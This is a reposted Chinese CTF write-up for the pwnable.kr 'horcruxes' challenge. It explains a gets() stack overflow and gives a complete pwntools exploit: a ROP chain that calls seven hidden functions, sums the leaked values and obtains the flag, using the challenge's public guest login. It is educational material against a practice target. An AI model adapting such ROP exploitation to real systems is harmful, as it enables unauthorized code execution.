首页 > 其他分享> 文章详细

horcruxes

2021-09-29 23:02:00 阅读：169 来源： 互联网

标签：horcruxes ropme sendline io p32 recvuntil

Voldemort concealed his splitted soul inside 7 horcruxes.
Find all horcruxes, and ROP it!
author: jiwon choi

ssh horcruxes@pwnable.kr -p2222 (pw:guest)

题目开启了seccomp，初始随机生成了7个数，有一个ropme函数，让你输入一个数，如果这个数和随机生成的数一样就进入一个函数给你输入对应的随机数，如果你输入的和这七个随机数的和相同，那么给flag

题目在ropme里用了gets存在栈溢出，不过ropme对应的地址中有一个\x0a无法输入

因此直接rop进入这七个函数，然后跳转到call ropme重新调用函数输入这个随机数之和这个答案即可

正常是一个int，但是python我的exp没做处理，因此不是100%能跑通，但是多跑几次即可

exp如下：

from pwn import *

p = ssh(host = 'pwnable.kr', user = 'horcruxes', password = 'guest', port = 2222)
io = p.connect_remote('localhost', 9032)

io.recvuntil('Select Menu:')
io.sendline('1')
io.recvuntil('How many EXP did you earned? : ')
payload = b'a' * 0x78 + p32(0x809FE4B) + p32(0x809FE6A) + p32(0x809FE89) + p32(0x809FEA8)
payload += p32(0x809FEC7) + p32(0x809FEE6) + p32(0x809FF05) + p32(0x809FFFC)
io.sendline(payload)

ans = 0
for i in range(7):
    io.recvuntil('(EXP +')
    tmp = int(io.recvuntil(')', drop = True), 10)
    info(str(i)+':'+str(tmp))
    ans += tmp

io.recvuntil('Select Menu:')
io.sendline('1')
io.recvuntil('How many EXP did you earned? : ')
io.sendline(str(ans))

io.interactive()

标签：horcruxes,ropme,sendline,io,p32,recvuntil
来源： https://www.cnblogs.com/hktk1643/p/15354802.html

本站声明： 1. iCode9 技术分享网（下文简称本站）提供的所有内容，仅供技术学习、探讨和分享；
2. 关于本站的所有留言、评论、转载及引用，纯属内容发起人的个人观点，与本站观点和立场无关；
3. 关于本站的所有言论和文字，纯属内容发起人的个人观点，与本站观点和立场无关；
4. 本站文章均是网友提供，不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属；如您发现该文章侵犯了您的权益，可联系我们第一时间进行删除；
5. 本站为非盈利性的个人网站，所有内容不会用来进行牟利，也不会利用任何形式的广告来间接获益，纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

ICode9

horcruxes